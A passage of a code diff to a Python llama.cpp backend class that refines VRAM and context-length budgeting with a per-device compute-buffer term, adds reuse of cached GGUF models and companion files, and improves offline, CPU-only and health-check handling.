+        if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes:
             return requested_ctx
 
         # Weights + compute buffer alone exceed budget -- reducing ctx can't help.
@@ -3096,7 +4065,7 @@ class LlamaCppBackend:
         while lo <= hi:
             mid = (lo + hi) // 2
             kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs)
-            if kv + _mtp_at(mid) <= remaining:
+            if kv + _mtp_at(mid) + _cc_at(mid) <= remaining:
                 best = mid
                 lo = mid + 1
             else:
@@ -3115,13 +4084,13 @@ class LlamaCppBackend:
         hf_repo: str,
         free_bytes: int,
         hf_token: Optional[str] = None,
-    ) -> Optional[tuple[str, int]]:
+    ) -> Optional[tuple[str, int, list[str]]]:
         """Find the smallest GGUF variant (including all shards) that fits.
 
         Groups split shards by variant prefix and sums their sizes (e.g.
         UD-Q4_K_XL with 9 shards of 50 GB each = 450 GB total).
 
-        Returns (first_shard_filename, total_size_bytes) or None.
+        Returns (first_shard_filename, total_size_bytes, extra_shards) or None.
         """
         try:
             from huggingface_hub import get_paths_info, list_repo_files
@@ -3157,9 +4126,13 @@ class LlamaCppBackend:
 
             # Smallest that fits
             variant_sizes.sort(key = lambda x: x[1])
-            for first_file, total_size, _ in variant_sizes:
+            for first_file, total_size, shard_files in variant_sizes:
                 if total_size > 0 and total_size <= free_bytes:
-                    return first_file, total_size
+                    return (
+                        first_file,
+                        total_size,
+                        [path for path in sorted(shard_files) if path != first_file],
+                    )
 
             return None
         except Exception:
@@ -3581,7 +4554,11 @@ class LlamaCppBackend:
         # Auto-size (0): the visual server probes the largest context that fits this GPU's VRAM
         # (capped at the training context). An explicit in-range n_ctx overrides it.
         maxtok = n_ctx if (n_ctx and 0 < n_ctx <= 65536) else 0
-        gpu = os.environ.get("DG_GPU", "0")
+        # No visible CUDA GPU: a genuine CPU host, or a GPU host masked with
+        # CUDA_VISIBLE_DEVICES="" to force CPU serving. Keep the visual-server child
+        # CPU-masked (empty --gpu) so the shim does not re-expose GPU 0 via its default.
+        cpu_only = self._effective_gpu_count() == 0
+        gpu = "" if cpu_only else os.environ.get("DG_GPU", "0")
 
         cmd = list(shim_cmd) + [
             "--gguf",
@@ -3601,6 +4578,12 @@ class LlamaCppBackend:
         # refuses to load unless UNSLOTH_IS_PRESENT is set (normally by `import
         # unsloth`). The shim never imports unsloth, so set it here as unsloth does.
         env["UNSLOTH_IS_PRESENT"] = "1"
+        # The shim's `import unsloth_zoo` aborts in get_device_type() ("needs a GPU")
+        # when no accelerator is visible, even though it only drives the CPU
+        # visual-server binary and does no torch GPU work. Allow the CPU device so the
+        # runner starts; the visual server still runs on the CPU llama.cpp build.
+        if cpu_only:
+            env.setdefault("UNSLOTH_ALLOW_CPU", "1")
         env["DG_VISUAL_BIN"] = visual_bin
         env["DG_GPU"] = gpu
         # The file-override shim imports its sibling visual_engine; put its dir on PYTHONPATH.
@@ -3721,6 +4704,15 @@ class LlamaCppBackend:
                 "Install it with: pip install huggingface_hub"
             )
 
+        resolved_hf_repo = _resolve_repo_id_casing(hf_repo)
+        if resolved_hf_repo != hf_repo:
+            logger.info(
+                "Using cached repo_id casing '%s' for requested '%s'",
+                resolved_hf_repo,
+                hf_repo,
+            )
+            hf_repo = resolved_hf_repo
+
         # Resolve the filename from the variant
         gguf_filename = None
         gguf_extra_shards: list[str] = []
@@ -3736,34 +4728,46 @@ class LlamaCppBackend:
             except Exception as e:
                 logger.warning(f"Could not list repo files: {e}")
 
-            # Offline: resolve variant -> filename from the local HF cache.
-            # The heuristic below assumes filenames echo the repo name, which
-            # breaks for e.g. Qwen3.6-27B-MTP-GGUF (no "MTP" in file). Match
-            # against the rel path (not just basename) so subdir layouts like
-            # ``BF16/foo.gguf`` are findable.
+            # Fall back to the local cache when the repo listing is unavailable.
             if not gguf_filename:
-                try:
-                    from utils.models.model_config import _iter_hf_cache_snapshots
-                    for snap in _iter_hf_cache_snapshots(hf_repo):
-                        cached_files = _gguf_snapshot_files(snap)
-                        matches = _gguf_files_for_variant(cached_files, hf_variant)
-                        if not matches:
-                            continue
-                        gguf_filename = matches[0]
-                        gguf_extra_shards = _gguf_extra_shards(matches, gguf_filename)
-                        logger.info(
-                            "Resolved variant %s -> %s from local HF cache",
-                            hf_variant,
-                            gguf_filename,
-                        )
-                        break
-                except Exception as e:
-                    logger.debug(f"Offline cache lookup for variant failed: {e}")
+                cached_name, cached_shards = _cached_variant_resolution(hf_repo, hf_variant)
+                if cached_name:
+                    gguf_filename = cached_name
+                    gguf_extra_shards = cached_shards
+                    logger.info(
+                        "Resolved variant %s -> %s from local HF cache",
+                        hf_variant,
+                        gguf_filename,
+                    )
 
             if not gguf_filename:
                 repo_name = hf_repo.split("/")[-1].replace("-GGUF", "")
                 gguf_filename = f"{repo_name}-{hf_variant}.gguf"
 
+        # Prefer the existing model. Updates use force=True to fetch a new revision.
+        if not force:
+            if hf_variant:
+                # Resolve by variant so a newer revision's filename does not hide
+                # the complete older copy. Size-check against that older snapshot's
+                # own revision when its metadata remains available.
+                cached_main = cached_gguf_for_load(
+                    hf_repo,
+                    hf_variant,
+                    verify_sizes = True,
+                    hf_token = hf_token,
+                )
+            else:
+                candidate = _cached_complete_candidate(hf_repo, gguf_filename, gguf_extra_shards)
+                cached_main = (
+                    candidate[0]
+                    if candidate is not None
+                    and _cached_candidate_matches_revision_size(hf_repo, candidate, hf_token)
+                    else None
+                )
+            if cached_main is not None:
+                logger.info(f"Reusing cached GGUF: {cached_main}")
+                return cached_main
+
         # Check disk space; fall back to a smaller variant if needed
         all_gguf_files = [gguf_filename] + gguf_extra_shards
         try:
@@ -3778,7 +4782,11 @@ class LlamaCppBackend:
             # cold whenever free disk is below the full weight footprint,
             # even though nothing needs downloading.
             already_cached_bytes = 0
-            if not force:
+            # Count only files that can resume this download.
+            offline = _hf_env_offline()
+            # Offline split sets are reusable only when every shard shares a snapshot.
+            split_needs_refetch = bool(offline and not force and gguf_extra_shards)
+            if not force and not split_needs_refetch:
                 for p in path_infos:
                     if not p.size:
                         continue
@@ -3786,6 +4794,15 @@ class LlamaCppBackend:
                         cached_path = try_to_load_from_cache(hf_repo, p.path)
                     except Exception:
                         cached_path = None
+                    if (
+                        not (isinstance(cached_path, str) and os.path.exists(cached_path))
+                        and offline
+                    ):
+                        cached_path = _cached_hf_snapshot_file(
+                            hf_repo,
+                            p.path,
+                            expected_size = p.size,
+                        )
                     if isinstance(cached_path, str) and os.path.exists(cached_path):
                         try:
                             on_disk = os.path.getsize(cached_path)
@@ -3829,25 +4846,26 @@ class LlamaCppBackend:
                         hf_token,
                     )
                     if smaller:
-                        fallback_file, fallback_size = smaller
+                        fallback_file, fallback_size, fallback_shards = smaller
                         logger.info(
                             f"Selected variant too large ({total_gb:.1f} GB), "
                             f"falling back to {fallback_file} ({fallback_size / (1024**3):.1f} GB)"
                         )
                         gguf_filename = fallback_file
-                        _m = _SHARD_RE.match(gguf_filename)
-                        _prefix = _m.group(1) if _m else None
-                        if _prefix:
-                            prefix_lower = _prefix.lower()
-                            gguf_extra_shards = sorted(
-                                f
-                                for f in all_gguf_files
-                                if f.lower().startswith(prefix_lower)
-                                and f != gguf_filename
-                                and not _is_companion_gguf_path(f)
+                        gguf_extra_shards = fallback_shards
+
+                        # The selected fallback is a new load target. Apply the
+                        # same any-revision reuse policy before starting a fetch.
+                        fallback_candidate = _cached_complete_candidate(
+                            hf_repo, gguf_filename, gguf_extra_shards
+                        )
+                        if fallback_candidate is not None and (
+                            _cached_candidate_matches_revision_size(
+                                hf_repo, fallback_candidate, hf_token
                             )
-                        else:
-                            gguf_extra_shards = []
+                        ):
+                            logger.info(f"Reusing cached fallback GGUF: {fallback_candidate[0]}")
+                            return fallback_candidate[0]
                     else:
                         raise RuntimeError(
                             f"Not enough disk space to download any variant. "
@@ -3908,10 +4926,12 @@ class LlamaCppBackend:
         pick: Callable[[list[str]], Optional[str]],
         label: str,
         cancel_event: Optional[threading.Event] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Resolve and fetch a companion GGUF (mmproj / MTP drafter) by name.
 
-        Tries the live repo file list, then the local HF cache snapshots
+        Prefers a companion co-located with ``near_path``'s cache snapshot,
+        then tries the live repo file list, then the local HF cache snapshots
         (offline, same fallback as _download_gguf), then hf_hub_download.
         Runs WITHOUT self._lock (like _download_gguf); honors _cancel_event so
         an /unload between the main download and here skips the fetch.
@@ -3921,6 +4941,17 @@ class LlamaCppBackend:
         if cancel_event.is_set():
             return None
 
+        # Keep companion files in the main GGUF's snapshot.
+        if near_path:
+            cached = _companion_snapshot_sibling(near_path, pick)
+            if cached:
+                logger.info("Reusing cached %s: %s", label, cached)
+                return cached
+
+        if _hub_download_in_flight(hf_repo):
+            logger.info("Skipping %s download while a hub download is active", label)
+            return None
+
         target: Optional[str] = None
         from huggingface_hub import list_repo_files
 
@@ -3963,6 +4994,17 @@ class LlamaCppBackend:
         if target is None or cancel_event.is_set():
             return None
 
+        # Offline, resolve the companion straight from the cache snapshot that
+        # holds it. resolve_cached_repo_id_case can return a partial lower-case
+        # spelling when any dir exists under the requested casing, so calling
+        # hf_hub_download with hf_repo would miss the canonical file and silently
+        # drop the companion. _cached_hf_snapshot_file scans every case variant.
+        if _hf_env_offline():
+            cached = _cached_hf_snapshot_file(hf_repo, target)
+            if cached:
+                logger.info("Resolved %s from local HF cache: %s", label, cached)
+                return cached
+
         try:
             logger.info(f"Downloading {label}: {hf_repo}/{target}")
             # Same policy; companions are best-effort (caller below swallows failures to None).
@@ -3982,40 +5024,54 @@ class LlamaCppBackend:
         hf_repo: str,
         hf_token: Optional[str] = None,
         cancel_event: Optional[threading.Event] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Download the mmproj (vision projection) file from a GGUF repo.
 
         Prefers mmproj-F16.gguf, else any mmproj*.gguf. Returns the local
         path, or None if none exists. ``cancel_event`` overrides
-        ``self._cancel_event`` (defaults to it).
+        ``self._cancel_event`` (defaults to it). ``near_path`` prefers a
+        copy co-located with the main GGUF's cache snapshot.
         """
 
-        def _pick_mmproj(candidates: list[str]) -> Optional[str]:
-            mmproj_files = sorted(
-                f
-                for f in candidates
-                if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower()
-            )
-            if not mmproj_files:
-                return None
-            for f in mmproj_files:
-                if f.lower().endswith("-f16.gguf"):
-                    return f
-            return mmproj_files[0]
-
         return self._download_companion_gguf(
             hf_repo = hf_repo,
             hf_token = hf_token,
             pick = _pick_mmproj,
             label = "mmproj",
             cancel_event = cancel_event,
+            near_path = near_path,
         )
 
+    def _cached_repo_mtp_drafter(self, hf_repo: str) -> Optional[str]:
+        """A drafter already in this repo's local HF cache, reused offline when a
+        fresh copy can't be fetched. Prefers a repo-root ``mtp-*.gguf`` across all
+        cached snapshots; else an existing ``MTP/`` copy (any precision -- the
+        target verifies every drafted token). None if none is cached."""
+        try:
+            from utils.models.model_config import _iter_hf_cache_snapshots
+
+            roots: list[Path] = []
+            subdirs: list[Path] = []
+            for snap in _iter_hf_cache_snapshots(hf_repo):  # newest first
+                for f in sorted(_gguf_snapshot_files(snap)):
+                    if _is_companion_gguf_path(f) and "mmproj" not in f.lower():
+                        (roots if "/" not in f else subdirs).append(snap / f)
+            # Keep snapshot order (newest first), root before any MTP/ copy, so a
+            # newer main GGUF pairs with the newest cached drafter, not a stale one.
+            for cand in roots + subdirs:
+                if cand.is_file():
+                    return str(cand)
+        except Exception as e:
+            logger.debug("Cached MTP drafter lookup failed for %s: %s", hf_repo, e)
+        return None
+
     def _download_mtp(
         self,
         *,
         hf_repo: str,
         hf_token: Optional[str] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Download the separate MTP drafter (speculative head) from a GGUF repo.
 
@@ -4028,18 +5084,39 @@ class LlamaCppBackend:
         """
 
         def _pick_mtp(candidates: list[str]) -> Optional[str]:
+            # Root-level only: MTP/ subdir copies now share the mtp- prefix but
+            # are explicit-selection, not auto-fetch (they'd sort ahead of root).
             mtp_files = sorted(
                 f
                 for f in candidates
-                if f.lower().endswith(".gguf") and Path(f).name.lower().startswith("mtp-")
+                if f.lower().endswith(".gguf")
+                and "/" not in f
+                and Path(f).name.lower().startswith("mtp-")
             )
             return mtp_files[0] if mtp_files else None
 
+        if near_path:
+            cached = _companion_snapshot_sibling(near_path, _pick_mtp)
+            if cached:
+                logger.info("Reusing cached MTP drafter: %s", cached)
+                return cached
+
+        # Offline, reuse any drafter already on disk (a fresh copy can't be
+        # fetched). Online, _download_companion_gguf/hf_hub_download reuse the
+        # current cached file and refetch a changed one, so skip the probe here
+        # rather than pair new weights with a stale draft.
+        if _hf_env_offline():
+            cached = self._cached_repo_mtp_drafter(hf_repo)
+            if cached:
+                logger.info(f"Reusing cached MTP drafter (offline): {cached}")
+                return cached
+
         return self._download_companion_gguf(
             hf_repo = hf_repo,
             hf_token = hf_token,
             pick = _pick_mtp,
             label = "MTP drafter",
+            near_path = near_path,
         )
 
     def _resolve_launch_mmproj_path(
@@ -4213,6 +5290,17 @@ class LlamaCppBackend:
                 "expected; otherwise check the llama-server log for the cause."
             )
 
+        # A live server that never answered 200 on /health is not a bad GGUF:
+        # the load is too large for VRAM/context, or a local proxy/VPN grabbed
+        # the loopback probe (#5740).
+        if "health check timed out" in lowered:
+            return (
+                "llama-server started but never became healthy on its local "
+                "/health endpoint. Try a smaller context length or a more "
+                "quantized GGUF, and if you use a VPN or HTTP proxy make sure "
+                "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)."
+            )
+
         # Fallback: genuinely unknown failure (OOM, missing binary ...).
         return (
             "llama-server failed to start. "
@@ -4232,6 +5320,7 @@ class LlamaCppBackend:
         max_target_ctx: Optional[int] = None,
         total_by_idx: Optional[dict[int, int]] = None,
         n_ubatch: Optional[int] = None,
+        soft_overhead_bytes: int = 0,
     ) -> tuple[int, int, list[int], Optional[list[int]]]:
         """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed.
 
@@ -4243,9 +5332,11 @@ class LlamaCppBackend:
         ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``.
 
         Policy (assumes >= 2 GPUs; the caller drops the toggle below that):
-        - Cap context to the KV that fits the pooled VRAM after the weights and
-          one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``,
-          deterministic from dims; flat fallback when dims are unavailable).
+        - Cap context to the KV that fits the pooled VRAM after the weights, one
+          per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``,
+          deterministic from dims; flat fallback when dims are unavailable), and the
+          per-device context-linear compute growth (``_compute_buffer_ctx_bytes``,
+          replicated on every device in tensor mode, so summed over the split).
           llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only
           cap, honored even for an explicit ``-c``. It is more accurate than the
           0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused.
@@ -4254,7 +5345,9 @@ class LlamaCppBackend:
           share fits the smallest GPU; otherwise it is weighted by usable budget
           so the roomier GPU absorbs more weight and the smallest keeps room for KV.
         ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes
-        the compute buffer.
+        the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj /
+        MTP-draft-graph reserve the layer path folds into ``model_size_fit``;
+        charged against the pooled budget so tensor mode reserves the same overhead.
         """
 
         # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a
@@ -4300,16 +5393,40 @@ class LlamaCppBackend:
         flat_mtp_bytes = max(0, mtp_flat_reserve_bytes)
         if mtp_engaged and mtp_overhead_fn is None:
             flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3)
+        # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve
+        # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so
+        # an unreserved overshoot OOMs at startup rather than offloading; charge it here
+        # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is
+        # a known slight under-charge, left for real multi-GPU data.
         kv_budget_b = (
-            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes
+            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024
+            - model_size
+            - flat_mtp_bytes
+            - max(0, soft_overhead_bytes)
         )
 
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        # Context-linear compute buffer, summed over the split. Tensor mode
+        # replicates the compute graph on EVERY device (measured: the per-device
+        # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at
+        # f16, independent of n_embd), so the growth is n_dev x the per-device
+        # term. cache_type_kv here is always non-quantized (tensor forces f16), so
+        # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy
+        # quantized dequant scratch. The flat reserve_mib above only covers ctx->0;
+        # without this the fit over-pins and OOMs at high context on a tight pool
+        # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog
+        # of the layer-split compute bug.
+        n_dev = len(gpu_indices)
+
+        def _cc_ctx(ctx: int) -> int:
+            return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv)
+
         def _fit_ctx(ctx: int) -> int:
-            # Largest context whose KV (+ MTP draft reserve) fits the pooled
-            # budget. Floors small, but never raises an explicit ctx above asked.
+            # Largest context whose KV (+ MTP draft reserve + context-linear
+            # compute) fits the pooled budget. Floors small, but never raises an
+            # explicit ctx above asked.
             if self._can_estimate_kv() and ctx > 0:
                 ctx_floor = min(2048, ctx)
                 if kv_budget_b <= 0:
@@ -4317,11 +5434,13 @@ class LlamaCppBackend:
                     # falls back to layer split.
                     return ctx_floor
                 if mtp_overhead_fn is not None:
-                    # kv(ctx)+mtp(ctx) is not single-linear, so binary search.
+                    # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search.
                     def _consumer(c: int) -> int:
-                        return self._estimate_kv_cache_bytes(
-                            c, cache_type_kv, n_parallel = n_parallel
-                        ) + _mtp_at(c)
+                        return (
+                            self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel)
+                            + _mtp_at(c)
+                            + _cc_ctx(c)
+                        )
 
                     if _consumer(ctx) <= kv_budget_b:
                         return ctx
@@ -4335,9 +5454,10 @@ class LlamaCppBackend:
                             hi = mid - 1
                     return best
                 kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel)
-                if kv_at <= kv_budget_b:
+                total_at = kv_at + _cc_ctx(ctx)  # both ~linear through the origin
+                if total_at <= kv_budget_b:
                     return ctx
-                return max(ctx_floor, int(ctx * kv_budget_b / kv_at))
+                return max(ctx_floor, int(ctx * kv_budget_b / total_at))
             # KV size unknown -> can't prove a safe cap; floor.
             return min(4096, ctx) if ctx > 0 else 4096
 
@@ -4357,10 +5477,23 @@ class LlamaCppBackend:
         # The MTP reserve also has to fit the even split (mirror the pooled budget):
         # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above.
         mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes
-        even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024)
+        # Context-linear compute is replicated per device; charge the whole split so
+        # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve).
+        cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0
+        even_share_mib = (
+            (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024)
+        )
         tensor_split: Optional[list[int]] = None
         if even_share_mib > (min_usable_mib - reserve_mib):
-            adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices]
+            # Each device also holds its replicated share of the context-linear
+            # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share
+            # gate above charges cc_bytes; the split weights must subtract it too, or
+            # the smaller card is weighted above its real usable budget and OOMs (the
+            # per-device analog of the layer path's per-GPU overhead in _select_gpus).
+            cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0
+            adj = [
+                max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices
+            ]
             if sum(adj) > 0:
                 tensor_split = adj
         return effective_ctx, max_available_ctx, gpu_indices, tensor_split
@@ -4565,6 +5698,7 @@ class LlamaCppBackend:
         )
         self._stdout_thread.start()
 
+    @_with_gguf_load_marker
     def load_model(
         self,
         *,
@@ -4677,6 +5811,7 @@ class LlamaCppBackend:
             # Resolve llama-server now but defer a not-found error: a block-diffusion
             # GGUF uses the diffusion runner, and its arch is only known after the header.
             binary = self._find_llama_server_binary()
+            is_vulkan_backend = self._is_vulkan_backend(binary)
 
             # ── Phase 2: download (NO lock held, so cancel can proceed) ──
             # mtp_draft_path arrives set for local Gemma loads (detected
@@ -4685,6 +5820,19 @@ class LlamaCppBackend:
             # dead; cleanup runs even on exception so a transient hiccup
             # can't quarantine future loads.
             if hf_repo:
+                # Resolve the requested repo id to its cached canonical casing once,
+                # up front, so the main GGUF and its companions (mmproj / MTP drafter)
+                # all resolve from the same cache entry. Otherwise a case-variant
+                # request resolves the main file from the canonical cache dir while the
+                # companions keep the requested casing and miss the cached files.
+                _resolved_repo = _resolve_repo_id_casing(hf_repo)
+                if _resolved_repo != hf_repo:
+                    logger.info(
+                        "Using cached repo_id casing '%s' for requested '%s'",
+                        _resolved_repo,
+                        hf_repo,
+                    )
+                    hf_repo = _resolved_repo
                 with _hf_offline_if_dns_dead():
                     model_path = self._download_gguf(
                         hf_repo = hf_repo,
@@ -4696,6 +5844,7 @@ class LlamaCppBackend:
                         mmproj_path = self._download_mmproj(
                             hf_repo = hf_repo,
                             hf_token = hf_token,
+                            near_path = model_path,
                         )
                     # Auto-download the separate MTP drafter (e.g. Gemma) when
                     # the requested spec mode can use it. Repos with the head
@@ -4713,6 +5862,7 @@ class LlamaCppBackend:
                         mtp_draft_path = self._download_mtp(
                             hf_repo = hf_repo,
                             hf_token = hf_token,
+                            near_path = model_path,
                         )
             elif gguf_path:
                 if not Path(gguf_path).is_file():
@@ -4903,7 +6053,8 @@ class LlamaCppBackend:
                     model_size = gguf_size + mmproj_size
                     # 2-tuple gpus for existing logic + a total map for the absolute
                     # per-GPU headroom (correct when the GPU is already partly used).
-                    _gpu_mem = self._get_gpu_memory()
+                    # Pass binary so a Vulkan build probes ggml's Vulkan ordinals.
+                    _gpu_mem = self._get_gpu_memory(binary)
                     gpus = [(idx, free) for idx, free, _t in _gpu_mem]
                     total_by_idx = {idx: total for idx, _f, total in _gpu_mem}
 
@@ -5123,6 +6274,20 @@ class LlamaCppBackend:
                     # compute buffer); None -> the 512 default in the estimate.
                     _effective_ubatch = _extra_args_n_ubatch(extra_args)
 
+                    def _cc_bytes(ctx: int, n_gpus: int = 1) -> int:
+                        # Context-linear compute-buffer growth (flash-attn KQ mask +
+                        # attention scratch); the flat _compute_buffer_pipeline folded
+                        # into model_size_fit only covers ctx -> 0. Charged per
+                        # candidate context so the fit can't over-pin and spill. The
+                        # rate depends on the KV cache type (quantized adds a dequant
+                        # scratch), so pass it through. In a layer split this buffer is
+                        # replicated on EVERY device (measured ~equal per GPU), so scale
+                        # by the device count; a large model at high context otherwise
+                        # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs).
+                        return max(1, n_gpus) * self._compute_buffer_ctx_bytes(
+                            ctx, _effective_ubatch, cache_type_kv
+                        )
+
                     # Layer-split compute buffer (one lump; tensor mode reserves it
                     # per device in _plan_tensor_parallel). Context-independent, so
                     # fold it into the model footprint for the branches below. Falls
@@ -5137,7 +6302,6 @@ class LlamaCppBackend:
                         _compute_buffer_pipeline = (
                             self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
                         )
-                    model_size_fit = model_size + _compute_buffer_pipeline
 
                     # Layer split adds a fixed per-device overhead on every GPU. The
                     # folded buffer covers one device; reserve the extra devices'
@@ -5145,9 +6309,6 @@ class LlamaCppBackend:
                     # (k=1 adds nothing).
                     _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024
 
-                    def _subset_model_size(n_gpus: int) -> int:
-                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
-
                     # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx:
                     # honor it, cap only if it fits no combination. Auto (native):
                     # prefer fewer GPUs with reduced context (multi-GPU is slower).
@@ -5174,6 +6335,21 @@ class LlamaCppBackend:
                         else 0.0
                     )
                     _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
+
+                    # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight
+                    # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base.
+                    # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and
+                    # MTP draft-graph buffers exist on every backend.
+                    _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0
+                    if effective_is_vision and mmproj_size > 0:
+                        _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0))
+                    if _mtp_reserves_gpu:
+                        _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES
+                    model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead
+
+                    def _subset_model_size(n_gpus: int) -> int:
+                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
+
                     # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below.
                     _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
 
@@ -5278,7 +6454,9 @@ class LlamaCppBackend:
                                 _tp_flat_mtp,
                                 _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048),
                             )
-                        _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024)
+                        _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / (
+                            1024 * 1024
+                        )
                         if _tp_weight_budget_mib <= _tp_required_mib:
                             logger.info(
                                 "Tensor parallelism requested but the pooled VRAM "
@@ -5327,6 +6505,7 @@ class LlamaCppBackend:
                             max_target_ctx = self._context_length or target_ctx,
                             total_by_idx = total_by_idx,
                             n_ubatch = _effective_ubatch,
+                            soft_overhead_bytes = _soft_overhead,
                         )
                         use_fit = False
                     elif gpus and self._can_estimate_kv() and effective_ctx > 0:
@@ -5351,6 +6530,9 @@ class LlamaCppBackend:
                                 # budget so the fit and the check below agree.
                                 pool_budget = _pool_budget_mib(subset, _cap_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     native_ctx_for_cap,
                                     pool_budget,
@@ -5359,13 +6541,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
                                 if footprint_mib <= pool_budget:
                                     best_cap = max(best_cap, capped)
                             if best_cap > 0:
@@ -5386,13 +6571,18 @@ class LlamaCppBackend:
                                     effective_ctx, cache_type_kv, n_parallel = n_parallel
                                 )
                                 + _mtp_bytes(effective_ctx)
+                                + _cc_bytes(effective_ctx)
                             )
+                            # The compute buffer is replicated on every device in a
+                            # layer split; fold it into the per-device reserve so a
+                            # multi-GPU pin sizes each card for its own copy.
                             gpu_indices, use_fit = self._select_gpus(
                                 requested_total,
                                 gpus,
                                 usable_fraction = _pin_fraction,
                                 total_by_idx = total_by_idx,
-                                per_device_overhead_bytes = _pipeline_overhead_bytes,
+                                per_device_overhead_bytes = _pipeline_overhead_bytes
+                                + _cc_bytes(effective_ctx),
                                 min_gpus = _layer_min_gpus,
                             )
                             # No silent shrink: effective_ctx stays == requested_ctx.
@@ -5423,6 +6613,9 @@ class LlamaCppBackend:
                                 subset = ranked[:n_gpus]
                                 pool_budget = _pool_budget_mib(subset, pin_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     effective_ctx,
                                     pool_budget,
@@ -5431,13 +6624,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
                                 if footprint_mib <= pool_budget:
                                     effective_ctx = capped
                                     gpu_indices = sorted(idx for idx, _ in subset)
@@ -5460,6 +6656,7 @@ class LlamaCppBackend:
                                             _subset_model_size(n_gpus)
                                             + kv
                                             + _mtp_bytes(effective_ctx)
+                                            + _cc_bytes(effective_ctx, n_gpus)
                                         ) / (1024 * 1024)
